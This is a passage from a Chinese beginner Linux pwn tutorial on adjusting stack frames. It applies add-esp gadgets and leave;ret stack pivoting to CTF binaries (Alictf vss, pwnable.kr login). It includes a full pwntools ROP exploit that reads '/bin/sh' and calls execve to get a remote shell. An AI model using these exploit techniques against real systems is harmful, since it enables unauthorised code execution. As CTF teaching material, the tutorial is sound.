linux栈帧机器码,Linux pwn入门教程(4)—

本文主要是介绍linux栈帧机器码,Linux pwn入门教程(4)——调整栈帧的技巧，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

作者：Tangerine@SAINTSEC

在存在栈溢出的程序中，有时候我们会碰到一些栈相关的问题，例如溢出的字节数太小，ASLR导致的栈地址不可预测等。针对这些问题，我们有时候需要通过gadgets调整栈帧以完成攻击。常用的思路包括加减esp值，利用部分溢出字节修改ebp值并进行stack pivot等。

0x00 修改esp扩大栈空间

我们先来尝试一下修改esp扩大栈空间。打开例子~/Alictf 2016-vss/vss，我们发现这是一个64位的程序，且由于使用静态编译+strip命令剥离符号，整个程序看起来乱七八糟的。我们先找到main函数

IDA载入后窗口显示的是代码块start，这个结构是固定的，call的函数是__libc_start_main, 上一行的offset则是main函数。进入main函数后，我们可以通过syscall的eax值，参数等确定几个函数的名字。

sub_4374E0使用了调用号是0x25的syscall，且F5的结果该函数接收一个参数，应该是alarm

sub_408800字符串单参数，且参数被打印到屏幕上，可以猜测是puts

sub_437EA0调用sub_437EBD，使用了0号syscall，且接收三个参数，推测为read

分析后的main函数如下：

被命名为verify的函数内部太过复杂，我们先暂且放弃静态分析的尝试，通过向程序中输入大量字符串我们发现程序存在溢出

将断点下在call read一行，我们跟踪一下输入的数据的走向

步进verify函数，执行到call sub_400330一行和执行结果，推测出sub_400330是strncpy()

继续往下执行，发现有两个判断，判断输入头两个字母是否是py，若是则直接退出，否则进入一个循环，这个循环会以[zxsq-anti-bbcode-rbp+rax+dest]里的值作为循环次数对从输入开始的每个位异或0x66。由于循环次数会被修改且变得过大，循环最后会因为试图访问没有标志位R的内存页而崩溃。

rbp + rax = 0x7FFE6CD1A040，该地址所在内存页无法访问

因此我们需要改变思路，尝试一下在输入的开头加上“py”，这回发现了一个数据可控的栈溢出

通过观察数据我们很容易发现被修改的EIP是通过strncpy复制到输入前面的0x50个字节的最后8个。由于没有libc，one gadget RCE使不出来，且使用了strncpy，字符串里不能有\x00，否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出，这就意味着任何地址都不能被写在前0x48个字节中。在这种情况下我们就需要通过修改esp来完成漏洞利用。

首先，尽管我们有那么多的限制条件，但是在main函数中我们看到read函数的参数指明了长度是0x400。幸运的是，read函数可以读取“\x00”

这就意味着我们可以把ROP链放在0x50字节之后，然后通过增加esp的值把栈顶抬到ROP链上。我们搜索包含add esp的gadgets，搜索到了一些结果

通过这个gadget，我们成功把esp的值增加到0x50之后。接下来我们就可以使用熟悉的ROP技术调用sys_read读取”/bin/sh\x00”字符串，最后调用sys_execve了。构建ROP链和完整脚本如下：

#!/usr/bin/python

#coding:utf-8

from pwn import *

context.update(arch = 'amd64', os = 'linux', timeout = 1)

io = remote('172.17.0.3', 10001)

payload = ""

payload += p64(0x6161616161617970) #头两位为py，过检测

payload += 'a'*0x40 #padding

payload += p64(0x46f205) #add esp, 0x58; ret

payload += 'a'*8 #padding

payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_read设置参数

payload +=p64(0x8) #rdx = 8

payload += p64(0x6c7079) #rsi = 0x6c7079

payload += p64(0x401823) #pop rdi; ret 为sys_read设置参数

payload += p64(0x0) #rdi = 0

payload += p64(0x437ea9) #mov rax, 0; syscall 调用sys_read

payload += p64(0x46f208) #pop rax; ret

payload += p64(59) #rax = 0x3b

payload += p64(0x43ae29) #pop rdx; pop rsi; ret 为sys_execve设置参数

payload += p64(0x0) #rdx = 0

payload += p64(0x0) #rsi = 0

payload += p64(0x401823) #pop rdi; ret 为sys_execve设置参数

payload += p64(0x6c7079) #rdi = 0x6c7079

payload += p64(0x437eae) #syscall

print io.recv()

io.send(payload)

sleep(0.1) #等待程序执行，防止出错

io.send('/bin/sh\x00')

io.interactive()

0x01 栈帧劫持stack pivot

通过可以修改esp的gadget可以绕过一些限制，扩大可控数据的字节数，但是当我们需要一个完全可控的栈时这种小把戏就无能为力了。在系列的前几篇文章中我们提到过数次ALSR，即地址空间布局随机化。这是一个系统级别的安全防御措施，无法通过修改编译参数进行控制，且目前大部分主流的操作系统均实现且默认开启ASLR。正如其名，在开启ASLR之前，一个进程中所有的地址都是确定的，不论重复启动多少次，进程中的堆和栈等的地址都是固定不变的。这就意味着我们可以把需要用到的数据写在堆栈上，然后直接在脚本里硬编码这个地址完成攻击。例如，我们假设有一个没有开NX保护的，有栈溢出的程序运行在没有ASLR的系统上。由于没有ASLR，每次启动程序时栈地址都是0x7fff0000.那么我们直接写入shellcode并且利用栈溢出跳转到0x7fff0000就可以成功getshell。而当ASLR开启后，每次启动程序时的栈和堆地址都是随机的，也就是说这次启动时时0x7fff0000，下回可能就是0x7ffe0120。这时候如果没有jmp esp一类的gadget，攻击就会失效。而stack pivot这种技术就是一个对抗ASLR的利器。

stack pivot之所以重要，是因为其利用到的gadget几乎不可能找不到。在函数建立栈帧时有两条指令push ebp; mov ebp, esp，而退出时同样需要消除这两条指令的影响，即leave(mov esp, ebp; pop ebp)。且leave一般紧跟着就是ret。因此，在存在栈溢出的程序中，只要我们能控制到栈中的ebp，我们就可以通过两次leave劫持栈。

第一次leave; ret，new esp为栈劫持的目标地址。可以看到执行到retn时，esp还在原来的栈上，ebp已经指向了新的栈顶

第二次leave; ret 实际决定栈位置的寄存器esp已经被成功劫持到新的栈上，执行完gadget后栈顶会在new esp-4(64位是-8)的位置上。此时栈完全可控通过预先或者之后在new stack上布置数据可以轻松完成攻击

我们来看一个实际的例子~/pwnable.kr-login/login.这个程序的逻辑很简单，且预留了一个system(“/bin/sh”)后门。

程序要求我们输入一个base64编码过的字符串，随后会进行解码并且复制到位于bss段的全局变量input中，最后使用auth函数进行验证，通过后进入带有后门的correct()打开shell

打开auth函数，我们发现这个auth的手段实际上是计算md5并进行比对，显然以我们的水平要在短时间里做到md5碰撞不现实。但万幸的是，这里的memcpy似乎会造成一个栈溢出。

调试发现不幸的是我们不能控制EIP，只能控制到EBP。这就需要用到stack pivot把对EBP的控制转化为对EIP的控制了。由于程序把解码后的输入复制到地址固定的.bss段上，且从auth到程序结束总共要经过auth和main两个函数的leave; retn。我们可以将栈劫持到保存有输入的.bss段上。毫无疑问，base64加密前的12个字节的最后4个留给.bss段上数据的首地址0x811eb40.根据之前的推演，执行到第二次retn时esp = new esp - 4，所以头4个字节应该是填充位，中间四个字节就是后门的地址。即输入布局如下：